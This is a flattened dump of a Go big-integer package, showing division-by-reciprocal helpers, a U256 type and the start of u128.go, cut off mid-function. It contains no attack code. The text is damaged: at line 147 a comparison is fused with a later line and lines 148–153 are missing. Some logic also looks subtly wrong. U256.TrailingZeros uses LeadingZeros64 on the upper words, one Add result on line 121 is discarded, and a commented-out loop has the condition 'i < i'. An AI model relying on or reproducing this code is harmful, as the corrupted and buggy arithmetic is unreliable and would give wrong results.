fmt.Printf("recip:%#x shift:%d 65bit:%v\n", recip, shift, add) 80 | 81 | nhi, nlo := recip.Raw() 82 | fmt.Printf("recip: U128{hi: %#x, lo: %#x}\n", nhi, nlo) 83 | 84 | } else { 85 | return fmt.Errorf("bits must be 64 or 128") 86 | } 87 | 88 | return nil 89 | } 90 | 91 | func divFindMulU128(denom num.U128) (recip num.U128, shift uint, add bool) { 92 | var floorLog2d = uint(127 - denom.LeadingZeros()) 93 | var proposedM, rem = U256From64(1). 94 | Lsh(floorLog2d). 95 | Lsh(128). // move into the hi 128 bits of a 256-bit number 96 | QuoRem(U256From128(denom)) 97 | 98 | if rem.Cmp(U256From64(0)) <= 0 { 99 | panic(fmt.Errorf("remainder should not be less than 0, found %s", rem)) 100 | } 101 | if rem.Cmp(U256From128(denom)) >= 0 { 102 | panic("unexpected rem") 103 | } 104 | 105 | if !proposedM.IsU128() { 106 | panic(fmt.Errorf("proposedM overflows 128 bit, found %s (%x)", proposedM, proposedM)) 107 | } 108 | if !rem.IsU128() { 109 | panic(fmt.Errorf("remainder overflows 128 bit, found %s", rem)) 110 | } 111 | var proposedM128, rem128 = proposedM.AsU128(), rem.AsU128() 112 | 113 | var e = denom.Sub(rem128) 114 | if e.LessThan(num.U128From64(1).Lsh(floorLog2d)) { 115 | shift = floorLog2d 116 | } else { 117 | // 0.65 bit version: 118 | proposedM128 = proposedM128.Add(proposedM128) 119 | twiceRem := rem128.Add(rem128) 120 | if twiceRem.GreaterOrEqualTo(denom) || twiceRem.LessThan(rem128) { 121 | proposedM128.Add(num.U128From64(1)) 122 | } 123 | shift = floorLog2d 124 | add = true 125 | } 126 | 127 | recip = proposedM128.Add(num.U128From64(1)) 128 | return 129 | } 130 | 131 | func divFindMulU64(denom uint64) (recip uint64, shift uint, add bool) { 132 | var floorLog2d = uint(63 - bits.LeadingZeros64(denom)) 133 | var proposedM, rem = num.U128From64(1). 134 | Lsh(floorLog2d). 135 | Lsh(64). // move into the hi bits of a 128-bit number 136 | QuoRem(num.U128From64(denom)) 137 | 138 | if !proposedM.IsUint64() { 139 | panic("proposedM overflows 64 bit") 140 | } 141 | if !rem.IsUint64() { 142 | panic("remainder overflows 64 bit") 143 | } 144 | var proposedM64, rem64 = proposedM.AsUint64(), rem.AsUint64() 145 | 146 | var e = denom - rem64 147 | if e < 1<= denom || twiceRem < rem64 { 154 | proposedM64 += 1 155 | } 156 | shift = floorLog2d 157 | add = true 158 | } 159 | 160 | recip = 1 + proposedM64 161 | return 162 | } 163 | 164 | func divMulU128(numer, recip num.U128, shift uint, add bool) num.U128 { 165 | q, _ := mul128to256(numer, recip) 166 | 167 | if add { 168 | return numer.Sub(q).Rsh(1).Add(q).Rsh(shift) 169 | } else { 170 | return q.Rsh(shift) 171 | } 172 | } 173 | 174 | func divMulU64(numer, recip uint64, shift uint, add bool) uint64 { 175 | q := num.U128From64(numer). 176 | Mul(num.U128From64(recip)). 177 | Rsh(64). 178 | AsUint64() 179 | 180 | if add { 181 | t := ((numer - q) >> 1) + q 182 | return t >> shift 183 | } else { 184 | return q >> shift 185 | } 186 | } 187 | 188 | type U256 struct { 189 | hi, hm, lm, lo uint64 190 | } 191 | 192 | func U256From128(in num.U128) U256 { 193 | hi, lo := in.Raw() 194 | return U256{lm: hi, lo: lo} 195 | } 196 | 197 | func U256From64(in uint64) U256 { 198 | return U256{lo: in} 199 | } 200 | 201 | func (u U256) And(v U256) (out U256) { 202 | out.hi = u.hi & v.hi 203 | out.hm = u.hm & v.hm 204 | out.lm = u.lm & v.lm 205 | out.lo = u.lo & v.lo 206 | return out 207 | } 208 | 209 | func (u U256) IntoBigInt(b *big.Int) { 210 | const intSize = 32 << (^uint(0) >> 63) 211 | 212 | switch intSize { 213 | case 64: 214 | bits := b.Bits() 215 | ln := len(bits) 216 | if len(bits) < 4 { 217 | bits = append(bits, make([]big.Word, 4-ln)...) 218 | } 219 | bits = bits[:4] 220 | bits[0] = big.Word(u.lo) 221 | bits[1] = big.Word(u.lm) 222 | bits[2] = big.Word(u.hm) 223 | bits[3] = big.Word(u.hi) 224 | b.SetBits(bits) 225 | 226 | default: 227 | panic("not implemented") 228 | } 229 | } 230 | 231 | func (u U256) AsBigInt() (b *big.Int) { 232 | var v big.Int 233 | u.IntoBigInt(&v) 234 | return &v 235 | } 236 | 237 | func (u U256) Cmp(n U256) int { 238 | if u.hi > n.hi { 239 | return 1 240 | } else if u.hi < n.hi { 241 | return -1 242 | } else if u.hm > n.hm { 243 | return 1 244 | } else if u.hm < n.hm { 245 | return -1 246 | } else if u.lm > n.lm { 247 | return 1 248 | } else if u.lm < n.lm { 249 | return -1 250 | } else if u.lo > n.lo { 251 | return 1 252 | } else if u.lo < n.lo { 253 | return -1 254 | } 255 | return 0 256 | } 257 | 258 | func (u U256) Dec() (out U256) { 259 | out = u 260 | out.lo = u.lo - 1 261 | if u.lo < out.lo { 262 | out.lm-- 263 | } 264 | if u.lm < out.lm { 265 | out.hm-- 266 | } 267 | if u.hm < out.hm { 268 | out.hi-- 269 | } 270 | return out 271 | } 272 | 273 | func (u U256) Format(s fmt.State, c rune) { 274 | // FIXME: This is good enough for now, but not forever. 275 | u.AsBigInt().Format(s, c) 276 | } 277 | 278 | func (u U256) LeadingZeros() uint { 279 | if u.hi != 0 { 280 | return uint(bits.LeadingZeros64(u.hi)) 281 | } else if u.hm != 0 { 282 | return uint(bits.LeadingZeros64(u.hm)) + 64 283 | } else if u.lm != 0 { 284 | return uint(bits.LeadingZeros64(u.lm)) + 128 285 | } else if u.lo != 0 { 286 | return uint(bits.LeadingZeros64(u.lo)) + 192 287 | } 288 | return 256 289 | } 290 | 291 | func (u U256) Lsh(n uint) (v U256) { 292 | if n == 0 { 293 | return u 294 | 295 | } else if n < 64 { 296 | return U256{ 297 | hi: (u.hi << n) | (u.hm >> (64 - n)), 298 | hm: (u.hm << n) | (u.lm >> (64 - n)), 299 | lm: (u.lm << n) | (u.lo >> (64 - n)), 300 | lo: u.lo << n, 301 | } 302 | 303 | } else if n == 64 { 304 | return U256{hi: u.hm, hm: u.lm, lm: u.lo} 305 | 306 | } else if n < 128 { 307 | n -= 64 308 | return U256{ 309 | hi: (u.hm << n) | (u.lm >> (64 - n)), 310 | hm: (u.lm << n) | (u.lo >> (64 - n)), 311 | lm: u.lo << n, 312 | } 313 | 314 | } else if n == 128 { 315 | return U256{hi: u.lm, hm: u.lo} 316 | 317 | } else if n < 192 { 318 | n -= 128 319 | return U256{ 320 | hi: (u.lm << n) | (u.lo >> (64 - n)), 321 | hm: u.lo << n, 322 | } 323 | 324 | } else if n == 192 { 325 | return U256{hi: u.lo} 326 | } else if n < 256 { 327 | return U256{hi: u.lo << (n - 192)} 328 | } else { 329 | return U256{} 330 | } 331 | } 332 | 333 | func (u U256) QuoRem(by U256) (q, r U256) { 334 | if by.hi == 0 && by.hm == 0 && by.lm == 0 && by.lo == 0 { 335 | panic("u256: division by zero") 336 | } 337 | 338 | byLeading0 := by.LeadingZeros() 339 | if byLeading0 == 255 { 340 | return u, r 341 | } 342 | 343 | byTrailing0 := by.TrailingZeros() 344 | if (byLeading0 + byTrailing0) == 255 { 345 | q = u.Rsh(byTrailing0) 346 | by = by.Dec() 347 | r = by.And(u) 348 | return 349 | } 350 | 351 | if cmp := u.Cmp(by); cmp < 0 { 352 | return q, u // it's 100% remainder 353 | 354 | } else if cmp == 0 { 355 | q.lo = 1 // dividend and divisor are the same 356 | return q, r 357 | } 358 | 359 | uLeading0 := u.LeadingZeros() 360 | return quorem256bin(u, by, uLeading0, byLeading0) 361 | } 362 | 363 | func (u U256) Rsh(n uint) (v U256) { 364 | if n == 0 { 365 | return u 366 | 367 | } else if n < 64 { 368 | return U256{ 369 | hi: u.hi >> n, 370 | hm: (u.hm >> n) | (u.hi << (64 - n)), 371 | lm: (u.lm >> n) | (u.hm << (64 - n)), 372 | lo: (u.lo >> n) | (u.lm << (64 - n)), 373 | } 374 | 375 | } else if n == 64 { 376 | return U256{hm: u.hi, lm: u.hm, lo: u.lm} 377 | 378 | } else if n < 128 { 379 | n -= 64 380 | return U256{ 381 | hm: u.hi >> n, 382 | lm: (u.hm >> n) | (u.hi << (64 - n)), 383 | lo: (u.lm >> n) | (u.hm << (64 - n)), 384 | } 385 | 386 | } else if n == 128 { 387 | return U256{lm: u.hi, lo: u.hm} 388 | 389 | } else if n < 192 { 390 | n -= 128 391 | return U256{ 392 | lm: u.hi >> n, 393 | lo: (u.hm >> n) | (u.hi << (64 - n)), 394 | } 395 | 396 | } else if n == 192 { 397 | return U256{lo: u.hi} 398 | 399 | } else if n < 256 { 400 | return U256{lo: u.hi >> (n - 192)} 401 | 402 | } else { 403 | return U256{} 404 | } 405 | } 406 | 407 | func (u U256) String() string { 408 | var zeroU256 U256 409 | if u == zeroU256 { 410 | return "0" 411 | } 412 | if u.hi == 0 && u.hm == 0 && u.lm == 0 { 413 | return strconv.FormatUint(u.lo, 10) 414 | } 415 | v := u.AsBigInt() 416 | return v.String() 417 | } 418 | 419 | func (u U256) Sub(n U256) (v U256) { 420 | v.lo = u.lo - n.lo 421 | if u.lo < v.lo { 422 | u.lm-- 423 | } 424 | v.lm = u.lm - n.lm 425 | if u.lm < v.lm { 426 | u.hm-- 427 | } 428 | v.hm = u.hm - n.hm 429 | if u.hm < v.hm { 430 | u.hi-- 431 | } 432 | v.hi = u.hi - n.hi 433 | return v 434 | } 435 | 436 | func (u U256) TrailingZeros() uint { 437 | if u.lo != 0 { 438 | return uint(bits.TrailingZeros64(u.lo)) 439 | } else if u.lm != 0 { 440 | return uint(bits.LeadingZeros64(u.lm)) + 64 441 | } else if u.hm != 0 { 442 | return uint(bits.LeadingZeros64(u.hm)) + 128 443 | } else if u.hi != 0 { 444 | return uint(bits.LeadingZeros64(u.hi)) + 192 445 | } 446 | return 256 447 | } 448 | 449 | // IsUint64 truncates the U256 to fit in a uint64. Values outside the range 450 | // will over/underflow. See IsUint64() if you want to check before you convert. 451 | func (u U256) AsUint64() uint64 { return u.lo } 452 | 453 | // IsUint64 reports whether u can be represented as a uint64. 454 | func (u U256) IsUint64() bool { return u.hi == 0 && u.hm == 0 && u.lm == 0 } 455 | 456 | func (u U256) AsU128() num.U128 { return num.U128FromRaw(u.lm, u.lo) } 457 | 458 | func (u U256) IsU128() bool { return u.hi == 0 && u.hm == 0 } 459 | 460 | func quorem256bin(u, by U256, uLeading0, byLeading0 uint) (q, r U256) { 461 | shift := int(byLeading0 - uLeading0) 462 | by = by.Lsh(uint(shift)) 463 | 464 | for { 465 | q = q.Lsh(1) 466 | 467 | if u.Cmp(by) >= 0 { 468 | u = u.Sub(by) 469 | q.lo |= 1 470 | } 471 | 472 | by = by.Rsh(1) 473 | 474 | if shift <= 0 { 475 | break 476 | } 477 | shift-- 478 | } 479 | 480 | r = u 481 | return q, r 482 | } 483 | 484 | func mul128to256(n, by num.U128) (hi, lo num.U128) { 485 | // Lot of gymnastics in here because U128 doesn't expose lo and hi: 486 | 487 | nHi, nLo := n.Raw() 488 | byHi, byLo := by.Raw() 489 | 490 | hiHi, hiLo := num.U128From64(nHi).Mul(num.U128From64(byHi)).Raw() 491 | loHi, loLo := num.U128From64(nLo).Mul(num.U128From64(byLo)).Raw() 492 | 493 | tLo, tHi := num.U128From64(nHi).Mul(num.U128From64(byLo)).Raw() 494 | loHi += tLo 495 | 496 | if loHi < tLo { // if lo.Hi overflowed 497 | hiHi, hiLo = num.U128FromRaw(hiHi, hiLo).Inc().Raw() 498 | } 499 | 500 | hiLo += tHi 501 | if hiLo < tHi { // if hi.Lo overflowed 502 | hiHi++ 503 | } 504 | 505 | tHi, tLo = num.U128From64(nLo).Mul(num.U128From64(byHi)).Raw() 506 | loHi += tLo 507 | if loHi < tLo { // if L.Hi overflowed 508 | hiHi, hiLo = num.U128FromRaw(hiHi, hiLo).Inc().Raw() 509 | } 510 | 511 | hiLo += tHi 512 | if hiLo < tHi { // if H.Lo overflowed 513 | hiHi++ 514 | } 515 | 516 | return num.U128FromRaw(hiHi, hiLo), num.U128FromRaw(loHi, loLo) 517 | } 518 | 519 | /* 520 | func (u U128) DivPow10(pow uint) U128 { 521 | switch pow { 522 | case 0: 523 | panic("divide by 0") 524 | case 1: // 10 525 | q, _ := mul128to256(u.hi, u.lo, 0xcccccccccccccccc, 0xcccccccccccccccd) 526 | return q.Rsh(3) 527 | case 2: // 100 528 | q, _ := mul128to256(u.hi, u.lo, 0xa3d70a3d70a3d70a, 0x3d70a3d70a3d70a4) 529 | return q.Rsh(6) 530 | case 3: // 1,000 531 | q, _ := mul128to256(u.hi, u.lo, 0x624dd2f1a9fbe76, 0xc8b4395810624dd3) 532 | return u.Sub(q).Rsh(1).Add(q).Rsh(9) 533 | case 4: // 10,000 534 | q, _ := mul128to256(u.hi, u.lo, 0xd1b71758e219652b, 0xd3c36113404ea4a9) 535 | return q.Rsh(13) 536 | case 5: // 100,000 537 | q, _ := mul128to256(u.hi, u.lo, 0xa7c5ac471b478423, 0xfcf80dc33721d54) 538 | return q.Rsh(16) 539 | case 6: // 1,000,000 540 | q, _ := mul128to256(u.hi, u.lo, 0x8637bd05af6c69b5, 0xa63f9a49c2c1b110) 541 | return q.Rsh(19) 542 | case 7: // 10,000,000 543 | q, _ := mul128to256(u.hi, u.lo, 0xd6bf94d5e57a42bc, 0x3d32907604691b4d) 544 | return q.Rsh(23) 545 | case 8: // 100,000,000 546 | q, _ := mul128to256(u.hi, u.lo, 0x5798ee2308c39df9, 0xfb841a566d74f87b) 547 | return u.Sub(q).Rsh(1).Add(q).Rsh(26) 548 | case 9: // 1,000,000,000 549 | q, _ := mul128to256(u.hi, u.lo, 0x89705f4136b4a597, 0x31680a88f8953031) 550 | return q.Rsh(29) 551 | case 10: // 10,000,000,000 552 | q, _ := mul128to256(u.hi, u.lo, 0xdbe6fecebdedd5be, 0xb573440e5a884d1c) 553 | return q.Rsh(33) 554 | case 11: // 100,000,000,000 555 | q, _ := mul128to256(u.hi, u.lo, 0xafebff0bcb24aafe, 0xf78f69a51539d749) 556 | return q.Rsh(36) 557 | case 12: // 1,000,000,000,000 558 | q, _ := mul128to256(u.hi, u.lo, 0x8cbccc096f5088cb, 0xf93f87b7442e45d4) 559 | return q.Rsh(39) 560 | case 13: // 10,000,000,000,000 561 | q, _ := mul128to256(u.hi, u.lo, 0xe12e13424bb40e13, 0x2865a5f206b06fba) 562 | return q.Rsh(43) 563 | 564 | default: // TODO: 39 decimal digits in MaxU128 565 | ten := U128From64(10) 566 | div := ten 567 | for i := 1; i < i; i++ { 568 | div = div.Mul(ten) 569 | } 570 | return u.Quo(div) 571 | } 572 | } 573 | 574 | func TestU128DivPow10(t *testing.T) { 575 | for idx, tc := range []struct { 576 | u U128 577 | pow uint 578 | out U128 579 | }{ 580 | {u64(1000), 2, u64(10)}, 581 | {u64(9999), 2, u64(99)}, 582 | {u64(99999), 3, u64(99)}, 583 | {u128s("340282366920938463463374607431768211455"), 10, u128s("34028236692093846346337460743")}, 584 | } { 585 | t.Run(fmt.Sprintf("%d/%d÷(10^%d)=%d", idx, tc.u, tc.pow, tc.out), func(t *testing.T) { 586 | tt := assert.WrapTB(t) 587 | tt.MustAssert(tc.out.Equal(tc.u.DivPow10(tc.pow))) 588 | }) 589 | } 590 | } 591 | 592 | func BenchmarkDivPow10(b *testing.B) { 593 | for idx, tc := range []struct { 594 | u U128 595 | pow uint 596 | }{ 597 | {u64(9999), 2}, 598 | {u64(99999999), 3}, 599 | {u128s("340282366920938463463374607431768211455"), 10}, 600 | } { 601 | b.Run(fmt.Sprintf("%d/%d÷(10^%d)", idx, tc.u, tc.pow), func(b *testing.B) { 602 | for i := 0; i < b.N; i++ { 603 | BenchU128Result = tc.u.DivPow10(tc.pow) 604 | } 605 | }) 606 | } 607 | } 608 | 609 | func BenchmarkDivPow10UsingQuo(b *testing.B) { 610 | for idx, tc := range []struct { 611 | u U128 612 | pow uint 613 | }{ 614 | {u64(9999), 2}, 615 | {u64(99999999), 3}, 616 | {u128s("340282366920938463463374607431768211455"), 10}, 617 | } { 618 | ten := U128From64(10) 619 | div := ten 620 | for i := uint(1); i < tc.pow; i++ { 621 | div = div.Mul(ten) 622 | } 623 | 624 | b.Run(fmt.Sprintf("%d/%d÷%d", idx, tc.u, div), func(b *testing.B) { 625 | for i := 0; i < b.N; i++ { 626 | BenchU128Result = tc.u.Quo(div) 627 | } 628 | }) 629 | } 630 | } 631 | */ 632 | -------------------------------------------------------------------------------- /u128.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "fmt" 5 | "math/big" 6 | "math/bits" 7 | "strconv" 8 | ) 9 | 10 | type U128 struct { 11 | hi, lo uint64 12 | } 13 | 14 | // U128FromRaw is the complement to U128.Raw(); it creates an U128 from two 15 | // uint64s representing the hi and lo bits. 16 | func U128FromRaw(hi, lo uint64) U128 { return U128{hi: hi, lo: lo} } 17 | 18 | func U128From64(v uint64) U128 { return U128{lo: v} } 19 | func U128From32(v uint32) U128 { return U128{lo: uint64(v)} } 20 | func U128From16(v uint16) U128 { return U128{lo: uint64(v)} } 21 | func U128From8(v uint8) U128 { return U128{lo: uint64(v)} } 22 | func U128FromUint(v uint) U128 { return U128{lo: uint64(v)} } 23 | 24 | // U128FromI64 creates a U128 from an int64 if the conversion is possible, and 25 | // sets inRange to false if not. 26 | func U128FromI64(v int64) (out U128, inRange bool) { 27 | if v < 0 { 28 | return zeroU128, false 29 | } 30 | return U128{lo: uint64(v)}, true 31 | } 32 | 33 | func MustU128FromI64(v int64) (out U128) { 34 | out, inRange := U128FromI64(v) 35 | if !inRange { 36 | panic(fmt.Errorf("num: int64 %d was not in valid U128 range", v)) 37 | } 38 | return out 39 | } 40 | 41 | // U128FromString creates a U128 from a string. Overflow truncates to MaxU128 42 | // and sets inRange to 'false'. Only decimal strings are currently supported. 43 | func U128FromString(s string) (out U128, inRange bool, err error) { 44 | // This deliberately limits the scope of what we accept as input just in case 45 | // we decide to hand-roll our own fast decimal-only parser: 46 | b, ok := new(big.Int).SetString(s, 10) 47 | if !ok { 48 | return out, false, fmt.Errorf("num: u128 string %q invalid", s) 49 | } 50 | out, inRange = U128FromBigInt(b) 51 | return out, inRange, nil 52 | } 53 | 54 | func MustU128FromString(s string) U128 { 55 | out, inRange, err := U128FromString(s) 56 | if err != nil { 57 | panic(err) 58 | } 59 | if !inRange { 60 | panic(fmt.Errorf("num: string %q was not in valid U128 range", s)) 61 | } 62 | return out 63 | } 64 | 65 | // U128FromBigInt creates a U128 from a big.Int. Overflow truncates to MaxU128 66 | // and sets inRange to 'false'. 67 | func U128FromBigInt(v *big.Int) (out U128, inRange bool) { 68 | if v.Sign() < 0 { 69 | return out, false 70 | } 71 | 72 | words := v.Bits() 73 | 74 | switch intSize { 75 | case 64: 76 | lw := len(words) 77 | switch lw { 78 | case 0: 79 | return U128{}, true 80 | case 1: 81 | return U128{lo: uint64(words[0])}, true 82 | case 2: 83 | return U128{hi: uint64(words[1]), lo: uint64(words[0])}, true 84 | default: 85 | return MaxU128, false 86 | } 87 | 88 | case 32: 89 | lw := len(words) 90 | switch lw { 91 | case 0: 92 | return U128{}, true 93 | case 1: 94 | return U128{lo: uint64(words[0])}, true 95 | case 2: 96 | return U128{lo: (uint64(words[1]) << 32) | (uint64(words[0]))}, true 97 | case 3: 98 | return U128{hi: uint64(words[2]), lo: (uint64(words[1]) << 32) | (uint64(words[0]))}, true 99 | case 4: 100 | return U128{ 101 | hi: (uint64(words[3]) << 32) | (uint64(words[2])), 102 | lo: (uint64(words[1]) << 32) | (uint64(words[0])), 103 | }, true 104 | default: 105 | return MaxU128, false 106 | } 107 | 108 | default: 109 | panic("num: unsupported bit size") 110 | } 111 | } 112 | 113 | func MustU128FromBigInt(b *big.Int) U128 { 114 | out, inRange := U128FromBigInt(b) 115 | if !inRange { 116 | panic(fmt.Errorf("num: big.Int %d was not in valid U128 range", b)) 117 | } 118 | return out 119 | } 120 | 121 | func U128FromFloat32(f float32) (out U128, inRange bool) { 122 | return U128FromFloat64(float64(f)) 123 | } 124 | 125 | func MustU128FromFloat32(f float32) U128 { 126 | out, inRange := U128FromFloat32(f) 127 | if !inRange { 128 | panic(fmt.Errorf("num: float32 %f was not in valid U128 range", f)) 129 | } 130 | return out 131 | } 132 | 133 | // U128FromFloat64 creates a U128 from a float64. 134 | // 135 | // Any fractional portion will be truncated towards zero. 136 | // 137 | // Floats outside the bounds of a U128 may be discarded or clamped and inRange 138 | // will be set to false. 139 | // 140 | // NaN is treated as 0, inRange is set to false. This may change to a panic 141 | // at some point. 142 | func U128FromFloat64(f float64) (out U128, inRange bool) { 143 | // WARNING: casts from float64 to uint64 have some astonishing properties: 144 | // https://github.com/golang/go/issues/29463 145 | if f == 0 { 146 | return U128{}, true 147 | 148 | } else if f < 0 { 149 | return U128{}, false 150 | 151 | } else if f <= maxRepresentableUint64Float { 152 | return U128{lo: uint64(f)}, true 153 | 154 | } else if f <= maxRepresentableU128Float { 155 | lo := modpos(f, wrapUint64Float) // f is guaranteed to be > 0 here. 156 | return U128{hi: uint64(f / wrapUint64Float), lo: uint64(lo)}, true 157 | 158 | } else if f != f { // (f != f) == NaN 159 | return U128{}, false 160 | 161 | } else { 162 | return MaxU128, false 163 | } 164 | } 165 | 166 | func MustU128FromFloat64(f float64) U128 { 167 | out, inRange := U128FromFloat64(f) 168 | if !inRange { 169 | panic(fmt.Errorf("num: float64 %f was not in valid U128 range", f)) 170 | } 171 | return out 172 | } 173 | 174 | // RandU128 generates an unsigned 128-bit random integer from an external source. 175 | func RandU128(source RandSource) (out U128) { 176 | return U128{hi: source.Uint64(), lo: source.Uint64()} 177 | } 178 | 179 | func (u U128) IsZero() bool { return u.lo == 0 && u.hi == 0 } 180 | 181 | // Raw returns access to the U128 as a pair of uint64s. See U128FromRaw() for 182 | // the counterpart. 183 | func (u U128) Raw() (hi, lo uint64) { return u.hi, u.lo } 184 | 185 | func (u U128) String() string { 186 | // FIXME: This is good enough for now, but not forever. 187 | if u.lo == 0 && u.hi == 0 { 188 | return "0" 189 | } 190 | if u.hi == 0 { 191 | return strconv.FormatUint(u.lo, 10) 192 | } 193 | v := u.AsBigInt() 194 | return v.String() 195 | } 196 | 197 | func (u U128) Format(s fmt.State, c rune) { 198 | // FIXME: This is good enough for now, but not forever. 199 | u.AsBigInt().Format(s, c) 200 | } 201 | 202 | func (u *U128) Scan(state fmt.ScanState, verb rune) error { 203 | t, err := state.Token(true, nil) 204 | if err != nil { 205 | return err 206 | } 207 | ts := string(t) 208 | 209 | v, inRange, err := U128FromString(ts) 210 | if err != nil { 211 | return err 212 | } else if !inRange { 213 | return fmt.Errorf("num: u128 value %q is not in range", ts) 214 | } 215 | *u = v 216 | 217 | return nil 218 | } 219 | 220 | func (u U128) IntoBigInt(b *big.Int) { 221 | switch intSize { 222 | case 64: 223 | bits := b.Bits() 224 | ln := len(bits) 225 | if len(bits) < 2 { 226 | bits = append(bits, make([]big.Word, 2-ln)...) 227 | } 228 | bits = bits[:2] 229 | bits[0] = big.Word(u.lo) 230 | bits[1] = big.Word(u.hi) 231 | b.SetBits(bits) 232 | 233 | case 32: 234 | bits := b.Bits() 235 | ln := len(bits) 236 | if len(bits) < 4 { 237 | bits = append(bits, make([]big.Word, 4-ln)...) 238 | } 239 | bits = bits[:4] 240 | bits[0] = big.Word(u.lo & 0xFFFFFFFF) 241 | bits[1] = big.Word(u.lo >> 32) 242 | bits[2] = big.Word(u.hi & 0xFFFFFFFF) 243 | bits[3] = big.Word(u.hi >> 32) 244 | b.SetBits(bits) 245 | 246 | default: 247 | if u.hi > 0 { 248 | b.SetUint64(u.hi) 249 | b.Lsh(b, 64) 250 | } 251 | var lo big.Int 252 | lo.SetUint64(u.lo) 253 | b.Add(b, &lo) 254 | } 255 | } 256 | 257 | // AsBigInt returns the U128 as a big.Int. This will allocate memory. If 258 | // performance is a concern and you are able to re-use memory, use 259 | // U128.IntoBigInt(). 260 | func (u U128) AsBigInt() (b *big.Int) { 261 | var v big.Int 262 | u.IntoBigInt(&v) 263 | return &v 264 | } 265 | 266 | func (u U128) AsBigFloat() (b *big.Float) { 267 | return new(big.Float).SetInt(u.AsBigInt()) 268 | } 269 | 270 | func (u U128) AsFloat64() float64 { 271 | if u.hi == 0 && u.lo == 0 { 272 | return 0 273 | } else if u.hi == 0 { 274 | return float64(u.lo) 275 | } else { 276 | return (float64(u.hi) * wrapUint64Float) + float64(u.lo) 277 | } 278 | } 279 | 280 | // AsI128 performs a direct cast of a U128 to an I128, which will interpret it 281 | // as a two's complement value. 282 | func (u U128) AsI128() I128 { 283 | return I128{lo: u.lo, hi: u.hi} 284 | } 285 | 286 | // IsI128 reports whether i can be represented in an I128. 287 | func (u U128) IsI128() bool { 288 | return u.hi&signBit == 0 289 | } 290 | 291 | // AsUint64 truncates the U128 to fit in a uint64. Values outside the range 292 | // will over/underflow. See IsUint64() if you want to check before you convert. 293 | func (u U128) AsUint64() uint64 { 294 | return u.lo 295 | } 296 | 297 | // IsUint64 reports whether u can be represented as a uint64. 298 | func (u U128) IsUint64() bool { 299 | return u.hi == 0 300 | } 301 | 302 | // MustUint64 converts i to an unsigned 64-bit integer if the conversion would succeed, 303 | // and panics if it would not. 304 | func (u U128) MustUint64() uint64 { 305 | if u.hi != 0 { 306 | panic(fmt.Errorf("U128 %v is not representable as a uint64", u)) 307 | } 308 | return u.lo 309 | } 310 | 311 | func (u U128) Inc() (v U128) { 312 | var carry uint64 313 | v.lo, carry = bits.Add64(u.lo, 1, 0) 314 | v.hi = u.hi + carry 315 | return v 316 | } 317 | 318 | func (u U128) Dec() (v U128) { 319 | var borrowed uint64 320 | v.lo, borrowed = bits.Sub64(u.lo, 1, 0) 321 | v.hi = u.hi - borrowed 322 | return v 323 | } 324 | 325 | func (u U128) Add(n U128) (v U128) { 326 | var carry uint64 327 | v.lo, carry = bits.Add64(u.lo, n.lo, 0) 328 | v.hi, _ = bits.Add64(u.hi, n.hi, carry) 329 | return v 330 | } 331 | 332 | func (u U128) Add64(n uint64) (v U128) { 333 | var carry uint64 334 | v.lo, carry = bits.Add64(u.lo, n, 0) 335 | v.hi = u.hi + carry 336 | return v 337 | } 338 | 339 | func (u U128) Sub(n U128) (v U128) { 340 | var borrowed uint64 341 | v.lo, borrowed = bits.Sub64(u.lo, n.lo, 0) 342 | v.hi, _ = bits.Sub64(u.hi, n.hi, borrowed) 343 | return v 344 | } 345 | 346 | func (u U128) Sub64(n uint64) (v U128) { 347 | var borrowed uint64 348 | v.lo, borrowed = bits.Sub64(u.lo, n, 0) 349 | v.hi = u.hi - borrowed 350 | return v 351 | } 352 | 353 | // Cmp compares 'u' to 'n' and returns: 354 | // 355 | // < 0 if u < n 356 | // 0 if u == n 357 | // > 0 if u > n 358 | // 359 | // The specific value returned by Cmp is undefined, but it is guaranteed to 360 | // satisfy the above constraints. 361 | // 362 | func (u U128) Cmp(n U128) int { 363 | if u.hi == n.hi { 364 | if u.lo > n.lo { 365 | return 1 366 | } else if u.lo < n.lo { 367 | return -1 368 | } 369 | } else { 370 | if u.hi > n.hi { 371 | return 1 372 | } else if u.hi < n.hi { 373 | return -1 374 | } 375 | } 376 | return 0 377 | } 378 | 379 | func (u U128) Cmp64(n uint64) int { 380 | if u.hi > 0 || u.lo > n { 381 | return 1 382 | } else if u.lo < n { 383 | return -1 384 | } 385 | return 0 386 | } 387 | 388 | func (u U128) Equal(n U128) bool { 389 | return u.hi == n.hi && u.lo == n.lo 390 | } 391 | 392 | func (u U128) Equal64(n uint64) bool { 393 | return u.hi == 0 && u.lo == n 394 | } 395 | 396 | func (u U128) GreaterThan(n U128) bool { 397 | return u.hi > n.hi || (u.hi == n.hi && u.lo > n.lo) 398 | } 399 | 400 | func (u U128) GreaterThan64(n uint64) bool { 401 | return u.hi > 0 || u.lo > n 402 | } 403 | 404 | func (u U128) GreaterOrEqualTo(n U128) bool { 405 | return u.hi > n.hi || (u.hi == n.hi && u.lo >= n.lo) 406 | } 407 | 408 | func (u U128) GreaterOrEqualTo64(n uint64) bool { 409 | return u.hi > 0 || u.lo >= n 410 | } 411 | 412 | func (u U128) LessThan(n U128) bool { 413 | return u.hi < n.hi || (u.hi == n.hi && u.lo < n.lo) 414 | } 415 | 416 | func (u U128) LessThan64(n uint64) bool { 417 | return u.hi == 0 && u.lo < n 418 | } 419 | 420 | func (u U128) LessOrEqualTo(n U128) bool { 421 | return u.hi < n.hi || (u.hi == n.hi && u.lo <= n.lo) 422 | } 423 | 424 | func (u U128) LessOrEqualTo64(n uint64) bool { 425 | return u.hi == 0 && u.lo <= n 426 | } 427 | 428 | func (u U128) And(n U128) U128 { 429 | u.hi = u.hi & n.hi 430 | u.lo = u.lo & n.lo 431 | return u 432 | } 433 | 434 | func (u U128) And64(n uint64) U128 { 435 | return U128{lo: u.lo & n} 436 | } 437 | 438 | func (u U128) AndNot(n U128) U128 { 439 | u.hi = u.hi &^ n.hi 440 | u.lo = u.lo &^ n.lo 441 | return u 442 | } 443 | 444 | func (u U128) Not() (out U128) { 445 | out.hi = ^u.hi 446 | out.lo = ^u.lo 447 | return out 448 | } 449 | 450 | func (u U128) Or(n U128) (out U128) { 451 | out.hi = u.hi | n.hi 452 | out.lo = u.lo | n.lo 453 | return out 454 | } 455 | 456 | func (u U128) Or64(n uint64) U128 { 457 | u.lo = u.lo | n 458 | return u 459 | } 460 | 461 | func (u U128) Xor(v U128) U128 { 462 | u.hi = u.hi ^ v.hi 463 | u.lo = u.lo ^ v.lo 464 | return u 465 | } 466 | 467 | func (u U128) Xor64(v uint64) U128 { 468 | u.hi = u.hi ^ 0 469 | u.lo = u.lo ^ v 470 | 